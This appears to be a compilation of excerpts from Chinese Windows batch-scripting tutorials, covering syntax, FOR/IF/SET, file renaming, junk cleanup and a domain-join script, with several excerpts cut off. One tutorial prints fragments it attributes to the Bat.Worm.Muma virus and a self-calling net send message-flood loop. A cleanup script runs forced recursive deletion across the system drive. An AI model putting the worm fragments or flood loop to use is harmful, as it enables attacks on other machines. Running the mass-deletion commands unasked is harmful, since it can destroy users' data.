批处理文件基础知识 一、单符号message指定让MS-DOS在屏幕上显示的正文 ~ ①在for中表示使用增强的变量扩展。 ②在%var:~n,m%中表示使用扩展环境变量指定位置的字符串。 ③在set/a中表示一元运算符,将操作数按位取反。 ! ①在set /a中一元运算符,表示逻辑非。比如set /a a=!0,这时a就表示逻辑1。 @ ①隐藏命令行本身的回显,常用于批处理中。 % ①在set /a中的二元运算符,表示算术取余。 ②命令行环境下,在for命令in前,后面接一个字符(可以是字母、数字或者一些特定字符),表示指定一个循环或者遍历指标变量。 ③批处理中,后接一个数字表示引用本批处理当前执行时的指定的参数。 ④其它情况下,%将会被脱去(批处理)或保留(命令行) ^ ①取消特定字符的转义作用,比如& | > < ! "等,但不包括%。比如要在屏幕显示一些特殊的字符,比如> >> | ^ &等符号时,就可以在其前面加一个^符号来显示这个^后面的字符了,^^就是显示一个^,^|就是显示一个|字符了; ②在set/a中的二元运算符,表示按位异或。 ③在findstr/r的[]中表示不匹配指定的字符集。 & ①命令连接字符。比如我要在一行文本上同时执行两个命令,就可以用&命令连接这两个命令。 ②在set/a中是按位与。 : ①标签定位符,表示其后的字符串为以标签,可以作为goto命令的作用对象。比如在批处理文件里面定义了一个":begin"标签,用"goto begin"命令就可以转到":begin"标签后面来执行批处理命令了。 ②在%var:string1=string2%中分隔变量名和被替换字串关系。 | ①管道符,就是将上一个命令的输出,作为下一个命令的输入."dir /a/b |more"就可以逐屏的显示dir命令所输出的信息。 ②在set/a中的二元运算符,表示按位或。 ③在帮助文档中表示其前后两个开关、选项或参数是二选一的。 / ①表示其后的字符(串)是命令的功能开关(选项)。比如"dir /s/b/a-d"表示"dir"命令指定的不同的参数。 ②在set/a中表示除法。 > ①命令重定向符,将其前面的命令的输出结果重新定向到其后面的设备中去,后面的设备中的内容被覆盖。比如可以用"dir > lxmxn.txt"将"dir"命令的结果输出到"lxmxn.txt"这个文本文件中去。 ②在findstr/r中表示匹配单词的右边界,需要配合转义字符\使用。 < ①将其后面的文件的内容作为其前面命令的输入。 ②在findstr/r中表示匹配单词的左边界,需要配合转义字符\使用。 . ①在路径的\后紧跟或者单独出现时:

【最全最详细】批处理经典入门教程

批处理经典入门教程!(从不懂到高手) 例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似): 代码如下: ping https://www.360docs.net/doc/052272969.html, > a.txt ping https://www.360docs.net/doc/052272969.html, >> a.txt ping https://www.360docs.net/doc/052272969.html, >> a.txt ping https://www.360docs.net/doc/052272969.html, >> a.txt ping https://www.360docs.net/doc/052272969.html, >> a.txt ping https://www.360docs.net/doc/052272969.html, >> a.txt ping https://www.360docs.net/doc/052272969.html, >> a.txt ping https://www.360docs.net/doc/052272969.html, >> a.txt exit 是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt 文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。 例二、再给出一个已经过时的例子(a.bat): @echo off if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif a.bat 为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。 例三,使用批处理脚本查是否中冰河。脚本内容如下: 复制代码代码如下: @echo off

简单快速重命名同类文件批处理基础

有图有真相(完整图解)●在所要重命名的文件夹中建立一个文本文档 ●输入“dir/a/b>1.txt”(引号不用,可直接复制)?保存 ?将文本文件的后缀名改为bat:即将文本文件命中的txt 替换为bat,注意不能将“.”删掉,然后会出现 ,就成功了。 ●双击上述文件,会在文件夹中出现1.txt,打开后将文件夹中文件的名字选中复制 ●新建Excel文件,将复制的文件名粘贴到A列 ●在B列写入重命名后的文件名,如下图

●在C列输入【"ren "&A1&" "&B1&RIGHTB(A1,4)】(可直接复制,注意:4代表所要命名文件的后缀名位数加上1;ren的后面和中间的双引号里有空格;由于文字格式的不同而导致复制粘贴不成功,则按上述括弧中在Excel 的C1输入如图 ●将鼠标移动到C1列的右下角,鼠标指针变为十字形,如 图按住鼠标不动往下拉,就可以完成所有的命令,如图

●将1.txt清空(Crtl+A?Backspace),在复制C列到1.txt,保存文本。 ●重命名1.txt,将后缀名改为bat,如第二个步骤 ●双击,你将会看到 ----? 为什么001没有改变呢? 虽然是批量重命名,但是B列中的名字必须符合文件的命名规则:

1.文件名长度规定 任何一个文件名最多可使用255个英文字符,如果使用中文字符则不能超过127个汉字。 2.可用字符规定 原则上可以利用键盘输入的英文字母、符号、空格、中文等均可以作为合法字符,但由于以下字符由系统保留它用,因此不能用在文件命名中: : / \ ? * “ < > | 3.经过实验,批处理重命名中B列不能出现空格,否则将不能重命名。 编者结语: 如果你喜欢计算机,如果你喜欢简单,如果你希望真正了解计算机更实用的方面,就随时关注shichen501,笔者将陆续推出各种计算机应用说明,敬请期待!

目前为止最全的批处理教程

目录 第一章 批处理基础 第一节 常用批处理内部命令简介 1、REM 和 :: 2、ECHO 和 @ 3、PAUSE 4、ERRORLEVEL 5、TITLE 6、COLOR 7、mode 配置系统设备 8、GOTO 和 : 9、FIND 10、START 11、assoc 和 ftype 12、pushd 和 popd 13、CALL 14、shift 15、IF 16、setlocal 与 变量延迟(ENABLEDELAYEDEXPANSION / DISABLEDELAYEDEXPANSION 启动或停用延缓环境变量扩展名。) 17、ATTRIB显示或更改文件属性 第二节 常用特殊符号

1、@命令行回显屏蔽符 2、%批处理变量引导符 3、> 重定向符 4、>>重定向符 5、<、>、<& 重定向符 6、|命令管道符 7、^转义字符 8、组合命令 9、& 组合命令 10、||组合命令 11、\"\"字符串界定符 12、, 逗号 13、; 分号 14、() 括号 15、! 感叹号 第二章 FOR命令详解 一、基本格式 二、参数 /d仅为目录 三、参数 /R递归(文件名) 四、参数 /L迭代数值范围 五、参数 /F迭代及文件解析 第三章 FOR命令中的变量

一、 ~I- 删除任何引号(\"),扩展 %I 二、 %~fI- 将 %I 扩展到一个完全合格的路径名 三、 %~dI- 仅将 %I 扩展到一个驱动器号 四、 %~pI- 仅将 %I 扩展到一个路径 五、 %~nI- 仅将 %I 扩展到一个文件名 六、 %~xI- 仅将 %I 扩展到一个文件扩展名 七、 %~sI- 扩展的路径只含有短名 八、 %~aI- 将 %I 扩展到文件的文件属性 九、 %~tI- 将 %I 扩展到文件的日期/时间 十、 %~zI- 将 %I 扩展到文件的大小 十一、 %~$PATH:I 第四章 批处理中的变量 一、系统变量 二、自定义变量 第五章 set命令详解 一、用set命令设置自定义变量 二、用set命令进行简单计算 三、用set命令进行字符串处理 1、字符串替换 2、字符串截取 第六章 if命令讲解 第一种用法:IF [NOT] ERRORLEVEL number command

实用批处理(bat)教程

目录 第一章批处理基础 第一节常用批处理内部命令简介 1、REM 和:: 2、ECHO 和@ 3、PAUSE 4、ERRORLEVEL 5、TITLE 6、COLOR 7、mode 配置系统设备 8、GOTO 和: 9、FIND 10、START 11、assoc 和ftype 12、pushd 和popd 13、CALL 14、shift 15、IF 16、setlocal 与变量延迟(ENABLEDELAYEDEXPANSION / DISABLEDELAYEDEXPANSION 启动或停用延缓环境变量扩展名。) 17、ATTRIB显示或更改文件属性 第二节常用特殊符号 1、@命令行回显屏蔽符 2、%批处理变量引导符 3、> 重定向符 4、>>重定向符 5、<、>、<& 重定向符 6、|命令管道符 7、^转义字符 8、组合命令 9、& 组合命令 10、||组合命令 11、\"\"字符串界定符 12、, 逗号 13、; 分号 14、() 括号 15、! 感叹号 第二章FOR命令详解 一、基本格式 二、参数/d仅为目录 三、参数/R递归(文件名) 四、参数/L迭代数值范围 五、参数/F迭代及文件解析 第三章FOR命令中的变量

一、~I- 删除任何引号(\"),扩展%I 二、%~fI- 将%I 扩展到一个完全合格的路径名 三、%~dI- 仅将%I 扩展到一个驱动器号 四、%~pI- 仅将%I 扩展到一个路径 五、%~nI- 仅将%I 扩展到一个文件名 六、%~xI- 仅将%I 扩展到一个文件扩展名 七、%~sI- 扩展的路径只含有短名 八、%~aI- 将%I 扩展到文件的文件属性 九、%~tI- 将%I 扩展到文件的日期/时间 十、%~zI- 将%I 扩展到文件的大小 十一、%~$PATH:I 第四章批处理中的变量 一、系统变量 二、自定义变量 第五章set命令详解 一、用set命令设置自定义变量 二、用set命令进行简单计算 三、用set命令进行字符串处理 1、字符串替换 2、字符串截取 第六章if命令讲解 第一种用法:IF [NOT] ERRORLEVEL number command 第二种用法:IF [NOT] string1==string2 command 第三种用法:IF [NOT] EXIST filename command 第四种用法:IF增强的用法 第七章DOS编程高级技巧 一、界面设计 二、if…else…条件语句 三、循环语句 四、子程序 五、用ftp命令实现自动下载 六、用7-ZIP实现命令行压缩和解压功能 七、调用VBScript程序 八、将批处理转化为可执行文件 九、时间延迟 1、利用ping命令延时 2、利用for命令延时 3、利用vbs延迟函数,精确度毫秒,误差1000毫秒内 4、仅用批处理命令实现任意时间延迟,精确度10毫秒,误差50毫秒内 十、模拟进度条 十一、特殊字符的输入及应用 十二、随机数(%random%)的应用技巧 十三、变量嵌套与命令嵌套 1、更正了所有的错别字,适当排版,增加条理性。

cmd命令行教程

CMD 命令行高级教程 CMD命令行高级教程精选合 目录 第一章批处理基础 第一节常用批处理内部命令简介 1、REM 和:: 2、ECHO 和@ 3、PAUSE 4、ERRORLEVEL 5、TITLE 6、COLOR 7、mode 配置系统设备 8、GOTO 和: 9、FIND 10、START 11、assoc 和ftype 12、pushd 和popd 13、CALL 14、shift 15、IF 16、setlocal 与变量延迟DISABLEDELAYEDEXPANSION 启动或停用延缓环境变量扩展名。) 17、ATTRIB 显示或更改文件属性 第二节常用特殊符号 1、@ 命令行回显屏蔽符 2、% 批处理变量引导符 3、> 重定向符 4、>> 重定向符 5、<、>&、<& 重定向符 6、| 命令管道符 7、^ 转义字符 8、& 组合命令 9、&& 组合命令 10、|| 组合命令 11、"" 字符串界定符 12、, 逗号 13、; 分号 14、() 括号 15、! 感叹号 第二章FOR命令详解 一、基本格式 二、参数/d 仅为目录

三、参数/R 递归(文件名) 四、参数/L 迭代数值范围 五、参数/F 迭代及文件解析 第三章FOR命令中的变量 一、~I - 删除任何引号("),扩展%I 二、%~fI - 将%I 扩展到一个完全合格的路径名 三、%~dI - 仅将%I 扩展到一个驱动器号 四、%~pI - 仅将%I 扩展到一个路径 五、%~nI - 仅将%I 扩展到一个文件名 六、%~xI - 仅将%I 扩展到一个文件扩展名 七、%~sI - 扩展的路径只含有短名 八、%~aI - 将%I 扩展到文件的文件属性 九、%~tI - 将%I 扩展到文件的日期/时间 十、%~zI - 将%I 扩展到文件的大小 十一、%~$PATH:I 第四章批处理中的变量 一、系统变量 二、自定义变量 第五章set命令详解 一、用set命令设置自定义变量 二、用set命令进行简单计算 三、用set命令进行字符串处理 1、字符串替换 2、字符串截取 第六章if命令讲解 第一种用法:IF [NOT] ERRORLEVEL number command 第二种用法:IF [NOT] string1==string2 command 第三种用法:IF [NOT] EXIST filename command 第四种用法:IF增强的用法 第七章DOS 编程高级技巧 一、界面设计 二、if…else…条件语句 三、循环语句 四、子程序 五、用ftp 命令实现自动下载 六、用7-ZIP实现命令行压缩和解压功能 七、调用VBScript 程序 八、将批处理转化为可执行文件 九、时间延迟 1、利用ping命令延时 2、利用for命令延时 3、利用vbs延迟函数,精确度毫秒,误差1000毫秒内 4、仅用批处理命令实现任意时间延迟,精确度10 毫秒,误差50 毫秒内 十、模拟进度条

最全批处理命令学习资料【完美版】

一:批处理文件 批处理文件是扩展名为·bat或·cmd的文本文件,包含一条或多条命令,由DOS或Windows系统内嵌的命令解释器来解释运行。 批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。 二:常用命令: 1.echo 和@: @ #关闭单行回显 echo off #从下一行开始关闭回显 @echo off #从本行开始关闭回显,一般批处理第一行都是这个 echo on #从下一行开始打开回显 echo #显示当前是echo off 状态还是echo on 状态 echo. #输出一个”回车换行”,空白行 #(同echo, echo; echo+ echo[ echo] echo/ echo") 2.errorlevel echo %errorlevel% 每个命令运行结束,可以用这个命令行格式查看返回码 默认值为0,一般命令执行出错会设errorlevel 为1 目录操作类命令: 3.dir 显示磁盘目录命令 dir #显示当前目录中的文件和子目录 dir /a #显示当前目录中的文件和子目录,包括隐藏文件和系统文件

dir c: /a:d #显示C 盘当前目录中的目录 dir c: /a:-d #显示C 盘根目录中的文件 dir c:" /b/p #/b只显示文件名,/p分页显示 dir c:" /b/p #/w不显示详细信息 dir *.exe /s #显示当前目录和子目录里所有的.exe文件 4.以树形显示当前路径文件夹结构 tree /f #显示每个文件夹中文件的名字。 5.md 建立子目录 md d:"a"b"c #如果d:"a 不存在,将会自动创建中级目录 #如果命令扩展名被停用,则需要键入mkdir "a"b"c 6.cd 改变当前目录(进入) cd \ #进入根目录 cd #显示当前目录 cd /d d:\sdk #可以同时更改盘符和目录 cd .. #返回上一级目录 7.rd 删除子目录命令 rd abc #删除当前目录里的abc 子目录,要求为空目录rd /s/q d:\temp #删除d:"temp 文件夹及其子文件夹和文件/q安静模式 磁盘操作类命令: 8.format 磁盘格式化命令 9.chkdsk 检查磁盘当前状态命令

系统垃圾清理BAT教程

清理电脑垃圾的七个bat文件 第一招:清除系统垃圾 在Windows在安装和使用过程中都会产生相当多的垃圾文件,包括临时文件(如:*.tmp*._mp)日志文件(*.log)临时帮助文件(*.gid)磁盘检查文件(*.chk)临时备份文件(如:*.old*.bak)以及其他临时文件特别是如果一段时间不清理IE的临时文件夹Temporary Internet Files,其中的缓存文件有时会占用上百MB的磁盘空间这些垃圾文件不仅仅浪费了宝贵的磁盘空间,严重时还会使系统运行缓慢 下面是步骤很简单就两步! 在桌面上点鼠标右键,选择新建一个记事本,把下面的字复制进去,点另存为,把文件名定为清除系统垃圾.bat就完成,记住后缀名一定要是.bat,好ok了!你的垃圾清除器就这样制作成功了!双击它就能很快地清理垃圾文件,大约一分钟不到 PS. 要复制进去的字是见下(红色部分) @echo off echo 正在清除系统垃圾文件,请稍等...... del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp del /f /s /q %systemdrive%\*.gid del /f /s /q %systemdrive%\*.chk del /f /s /q %systemdrive%\*.old del /f /s /q %systemdrive%\recycled\*.* del /f /s /q %windir%\*.bak del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %windir%\temp del /f /q %userprofile%\cookies\*.*

windows批处理初级教程

w i n d o w s批处理初级教程 Prepared on 24 November 2020

前一阵子使用WIN7的时候,忽然出现图标缓存的问题。去网上搜了下解决方案,发现一个比较好的处理步骤。原文我已经忘记了,后来在年三十的晚上,顿觉很无聊,就按照印象中的代码,写了一个小的批处理文件。具体参考(此处插入百度文库的那篇文章地址)。 后来觉得批处理挺好玩的,趁在家休息的这些日子,系统学习一下批处理的语法以及应用。 批处理命令通俗的讲就是平时我们见到的那些".bat"为后缀的文件,它们可以不断的重读执行命令,实现windows的自动管理,可以将用户从重复、繁琐、复杂的管理任务中解放出来,事半功倍。 Windows中常用的批处理程序应用范围主要是:文件/文件夹管理、系统启动与关闭、个性化桌面环境、个性化IE、个性化资源管理器、系统优化、系统维护与管理、系统安全、网络管理与安全、组策略与MMC的应用和其他一些高级应用。 一般而言,创建批处理文件最好的方式是使用记事本编辑保存文件。即在记事本中写代码,然后保存的时候以".bat"作为后缀即可。 看一个例子,以初步接触批处理小程序。为演示方便,PC机选择目前最为大众化的MicrosoftWindowsXP作为操作系统。 (1)在windows下按【Win+R】键,在弹出的"运行"对话框中输入"notepad" (2)在文本文件里输入 (3)保存批处理文件

(4)接下来就是运行这个批处理文件。初学者编写的小程序推荐在DOS下面运行,等已经可以独立的编写稍微复杂程序的时候在找到这个批处理文件,然后直接打开就可以了。 在windows下按【Win+R】键,在弹出的"运行"对话框中输入"cmd",并转到存储""的目录下,这里就是指的是D盘。 运行,就会出现下面的结果 如果直接选择打开"",就会出现下面的界面 所以你会发现,这种直接打开的方式不仅操作简单,而且界面简洁,但是一开始最好从DOS下面运行比较好,究竟为什么,你会在开始的几个小程序里体会到。 在学习批处理程序语法的时候,有一种非常便利的方式。比如下面要讲的第一个语法,"echo"的使用,我们可以使用下面的方法来获取命令的格式以及用途。 (1)新建一个批处理文件,具体的内容如图所示。 (2)在DOS下运行,得到下面的结果 这样我们就获得了echo命令的语法和用途。 授人以鱼不如授之以渔,掌握这个方法之后,即使长时间没写批处理小程序,我们依旧能够在最短的时间里回忆起相关的语法以及命令。 一些常用的命令有:echo、@、goto、pause、call、start、rem、if、set、setlocal、shift、for、通配符("*"、"")、管道符("|")、重定向符("<"、">"、">>")等等。 在接下来的章节中,我将简单的介绍下这些命令的使用方法。 echo命令语法及应用

bat批处理:bat批处理教程(三)

bat批处理:bat批处理教程(三) 学过汇编或C朋友肯定都知道call指令表示什么意思了在这里它意思其实也是样在批处理脚本中call命令用来从个批处理脚本中另个批处理脚本看例 8(默认 3个脚本文件名分别为start.bat、10.bat和ipc.bat): start.bat: …… CALL 10.BAT 0 …… 10.bat: …… ECHO %IPA%.%1 >HFIND.TMP …… CALL ipc.bat IPCFind.txt ipc.bat: for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k 有没有看出什么不对地方?没看出来啊?没看出来就对了其实就没有不对地方嘛你如何看出来!从上面两个脚本你可以得到如下信息: 1、脚本可以灵活运用循环运用、重复运用 2、脚本可以使用参数!有关第点就不多说了聪明你看就应该会这里说下第 2点 在start.bat中10.bat后面跟了参数0在执行时效果其实就是把10.bat里参数%1用0代替在start.bat中ipc.bat后面跟了参数ipcfind.txt(个文件也可以做参数)执行时效果就是用ipc.bat中每行3个变量(这里不懂没关系学过for命令后就懂了)对应代换ipc.bat 中%%i、%%j和%%k这里参数是非常灵活使用时需要好好体会在初学期间可以先学习只脚本至于连脚本参数起使用情况在后面学习中自然就会有比较深刻理解这是当你已经可以灵活运用批处理脚本后如何使代码写更精简更完美更高效就自然包括到了考虑范围这时候你就会发现在脚本时直接加入参数可以使代码效率加倍By the way上面这几个脚本都是Bat.Worm.Muma病毒部分在后面教程里大家将有机会见到这个病毒真面目。 那是不是说在同个目录下至少存在两个批处理脚本文件(只有个你谁?)?呵呵注意了这句话错了!!只有个照样可以----自身!看例9(默认脚本文件名a.bat): net send %1 This is a call example. call a.bat 这两句结合效果自然不如何样只有台机器来发消息谁怕谁啊?我给

好玩的批处理

@echo off ::批处理的头文件,主要是用来隐藏P处理命令的 title 群加域P处理---蔡新文制作--2009-05-23- ::P处理窗口标题、日期 echo -------------------------------------------------------------------------------- echo 使用注意事项:::下面的(7点信息)echo命令都是解释的内容信息 echo 1.系统支持工具,使用前需先行安装(光碟:\SUPPORT\TOOLS\SUPTOOLS.MSI)echo. echo 2.工具安装好后,必需在域控上执行本工具。 echo. echo 3.客户端必须要指DNS,必须能够正常解析域名。 echo. echo 4.在客户端上必须要把[使用简单文件共享]的√去掉。 echo. echo 5.必须要知道客户端上的管理员用户和密码 echo. echo 6.输入IP网段时,只需要输入1或2(是几网段就输入几),输入IP数量就是你PC机IP尾数。 echo. echo 7.输入的IP地址必须要连贯。比如:192.168.100.0 ~100.2 ~100.3 就这样连贯下去。echo. echo -------------------------------------------------------------------------------- set /p IP=请输入局域网IP网段:::以下7个set都是设置变量 set /p sl=请输入局域网IP数量: set /p ym=请输入你要加的域名: set /p ad=请输入域管理员帐户: set /p ps=请输入域管理员密码: set /p yh=请输入客户端管理员用户: set /p sp=请输入客户端管理员密码: ::FOR语言递增循环,调用netdom命令,使用上面的变量值。 for /l %%a in (1,1,%sl%) do ( netdom join 192.168.%ip%.%%a /domain: %ym% /userd: %ad% /passwordd:%ps% /usero:%yh% /passwordo:%sp% /reboot ) ::%?%里的值都是变量,变量是来调用SET赋予的值 echo %sl%台加域成功!::显示成功加域的信息 pause ::完成后,暂停完毕!

小凡使用教程

DynamipsGUI --- 强大的cisco学习工具模拟器 一、入门:如何安装DynamipsGUI 现在小凡最新的版本的是2.83,怎么样在我们的电脑上安装小凡: 二:我们通过小凡制作如下组网的模拟器:最终pc可以telnet访问R1 1、打开小凡界面如图,选择路由器和交换机的个数,同时勾选桥接到PC的复选框: 注意图中用红色方框标示的位置: 路由器的个数和交换机个数不做详细说明。 桥接到pc可以让小凡和真实的pc进行通讯 2、选择设备类型,并选择IOS文件 选中3640路由器的复选框,这里我们用3640交换机,也可以选择其它类型的交换机。选中3640后面的复选框后,可以从下面设备类型的下拉菜单中选择设备类型 单击浏览,选择IOS文件。

4、计算idle值: 单击:计算idle值,会出现如下回话框,查看IOS文件确实存在,单机确定 5、单击确定后,出现如下回话框:

单击任意键继续,出现如下界面:选择no 进入路由器后,随便配置一点东西,按住ctrl+]+i得到如下的界面,我们选择后面数字最大的值的idle值:复制粘贴到小凡中。

如图所示: 把idle值填入后,点击确定进入如下设置; 6、配置桥接参数:

如图所示,选择NIC-0也可以选择其它的,点击计算桥接参数: 出现如图所示的界面: 本PC上有两块网卡,一个物理网卡,一个虚拟网卡,用红色方框标注的是虚拟网卡,我们选择虚拟网卡的桥接参数:注:如果机器上的网卡过多,不知道哪一个是自己想要的网卡时,

这时可以先把自己不用的网卡禁用,只留自己想用网卡,这个时候该界面显示出来就只有自己想用的网卡了。 7、点击确定桥接参数,然后点击浏览确定输出目录后,点击下一步:

批处理从入门到精通

批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。 1、REM REM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。例: REM 你现在看到的就是注解,这一句将不会被执行。在以后的例子中解释的内容都REM 会放在REM后面。请大家注意。 2、ECHO ECHO 是一个回显命令主要参数有OFF和ON,一般用ECHO message来显示一个特定的消息。例: Echo off Rem 以上代表关闭回显即不显示所执行的命令 Echo 这个就是消息。 Rem 以上代表显示“这就是消息”这列字符 执行结果: C:\>ECHO.BAT 这个就是消息。 3、GOTO GOTO 即为跳转的意思。在批处理中允许以“:XXX”来构建一个标号然后用GOTO :标号直接来执行标号后的命令。例 :LABEL REM 上面就是名为LABEL的标号。 DIR C:\ DIR D:\

GOTO LABEL REM 以上程序跳转标号LABEL处继续执行。 4、CALL CALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。例: 批处理2.BAT内容如下: ECHO 这就是2的内容 批处理1.BAT内容如下: ECHO 这是1的内容 CALL 2.BAT ECHO 1和2的内容全部显示完成 执行结果如下: C:\>1.BAT 这是1的内容 这就是2的内容 1和2的内容全部显示完成 5、PAUSE PAUSE 停止系统命令的执行并显示下面的内容。例: C:\> PAUSE 请按任意键继续 . . . 6、IF IF 条件判断语句,语法格式如下: IF [NOT] ERRORLEVEL number command IF [NOT] string1==string2 command IF [NOT] EXIST filename command

批处理for语句从入门到精通(完整版)

批处理是一门简单的脚本语言,虽然不能独当一面,但是,若作为工作中的辅助工具,绝对会让大家有随用随写、称心如意的畅快感。 和其他语言相比,批处理语言有其先天性的优势: 1、系统自带,无需另行安装; 2、命令少,语句简洁,上手非常快; 3、编写出来的脚本小巧玲珑,随写随用; 但是,因为它以命令行方式工作,操作多有不便,在图形界面大行其道的windows世界里,多多少少会让大众望而却步;就算是对命令行有好感的新手,面对微软有如天书的帮助文件,很多人也会败下阵来,因此,论坛里很多会员也发出了编写系统的批处理教程的呼声。 编写系统的批处理新手教程,一直是论坛管理层讨论的热点问题,但是,各位管理人员大多都有工作在身,而系统的教程涉及的面是如此之广,面对如此浩大的工程,仅凭一两个人的力量,是难以做好的,因此,本人退而求其次,此次发布的教程,以专题的形式编写,日后人手渐多之后,再考虑组织人力编写全面的教程。 之所以选择最难的for,一是觉得for最为强大,是大多数人最希望掌握的;二是若写其他命令教程,如果没有for的基础,展开来讲解会无从下手;三是for也是批处理中最复杂最难掌握的语句,把它攻克了,批处理的学习将会一片坦途。 这次的for语句系列教程,打算按照for语句的5种句式逐一展开,在讲解 for /f 的时候,会穿插讲解批处理中一个最为关键、也是新手最容易犯错的概念:变量延迟,大纲如下: 一前言 二 for语句的基本用法 三 for /f (含变量延迟) 四 for /r 五 for /d 六 for /l 一、前言

在批处理中,for是最为强大的命令语句,它的出现,使得解析文本内容、遍历文件路径、数值递增/递减等操作成为可能;配合if、call、goto等流程控制语句,更是可以实现脚本复杂的自动化、智能化操作;合理使用for语句,还能使代码大为简化,免除各位编写大量重复语句之苦。而能否熟练使用for语句,已经成为衡量一个人批处理水平高低最主要的标准。 在这个系列教程中,我将通过实际应用中频繁出现的例子,带领大家步入for语句的神奇之门,一步步迈向for语句的魔幻殿堂,使得大家在实际的应用中,能独立写出简洁高效的代码,在批处理的世界里自由驰骋。 注意:以下的讲解,都是基于简体中文版Windows XP Pro SP3的操作系统环境。二、for语句的基本用法[2008.11.9更新] 正如色彩缤纷的七彩光芒是由红绿蓝三原色构成的一样,最复杂的for语句,也有其基本形态,它的模样是这样的: 在cmd窗口中: 复制内容到剪贴板 for %I in (command1) do command2 在批处理文件中: 复制内容到剪贴板 for %%I in (command1) do command2 之所以要区分cmd窗口和批处理文件两种环境,是因为在这两种环境下,命令语句表现出来的行为虽然基本一样,但是在细节上还是稍有不同,最明显的一个差异就是:在cmd 窗口中,for之后的形式变量I必须使用单百分号引用,即%I;而在批处理文件中,引用形式变量I必须使用双百分号,即%%I。为了方便起见,若不是特别强调,以下的讲解都以批处理文件环境为例。 我们先来看一下for语句的基本要素都有些什么:

相关文档
最新文档